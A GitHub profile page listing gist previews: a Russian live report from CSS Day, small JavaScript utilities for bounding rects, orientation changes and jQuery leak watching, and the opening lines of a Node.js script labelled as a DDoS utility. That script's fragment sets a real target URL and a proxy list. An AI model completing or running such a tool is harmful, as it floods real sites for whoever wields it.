Skip to content

Instantly share code, notes, and snippets.

View 6pm's full-sized avatar
💭
I may be slow to respond.

Slava 6pm

💭
I may be slow to respond.
View GitHub Profile
@pepelsbey
pepelsbey / CSSDay.md
Last active April 12, 2016 13:00
Текстовая трансляция с конференции CSS Day в Амстердаме 14 июня — http://cssday.nl

Прямо сейчас в Амстердаме начинается конференция CSS Day и мы решили попробовать новый формат и сделать текстовую трансляцию в течение дня. Программа: http://cssday.nl/programme

Первый доклад

Эрик Мейер про веб-шрифты в CSS — http://cssday.nl/programme#eric-meyer

  • Не забывайте указывать локальные (несколько, при возможности) псевдонимы для шрифтов в @font-face, на случай, если шрифты уже установлены.

  • Если оформление заголовков в тексте веб-шрифтом ещё нормально, то оформление всего текста вызвает проблемы с быстродействием на мобильных.

@rgrove
rgrove / getAbsoluteBoundingRect.js
Created April 25, 2013 21:20
Simple JS function that returns a bounding rect for an element with absolute coordinates corrected for scroll positions.
/**
Returns a bounding rect for _el_ with absolute coordinates corrected for
scroll positions.
The native `getBoundingClientRect()` returns coordinates for an element's
visual position relative to the top left of the viewport, so if the element
is part of a scrollable region that has been scrolled, its coordinates will
be different than if the region hadn't been scrolled.
This method corrects for scroll offsets all the way up the node tree, so the
@mynameispj
mynameispj / orientationChange.js
Last active September 3, 2020 19:39
jQuery event that fires when the orientation (portrait, landscape) of a mobile device changes
window.addEventListener("orientationchange", function() {
alert(window.orientation);
//do whatever you want on orientation change here
}, false);
/**
* Watcher leaks for jQuery
* RubaXa <trash@rubaxa.org>
* MIT Licensed.
*
* API:
* $.leaks.get();
* $.leaks.watch();
* $.leaks.unwatch();
* $.leaks.remove();
@venomjke
venomjke / ddos.js
Created November 20, 2012 09:19
Утилита для организации DDoS на базе Node.js
var request = require('request'),
util = require('util'),
fs = require('fs'),
events = require('events');
var attackUrl = 'http://ispi.ru/';
var proxyLists = [];
var proxyFile = __dirname+'/proxylist.txt';
var e = new events.EventEmitter;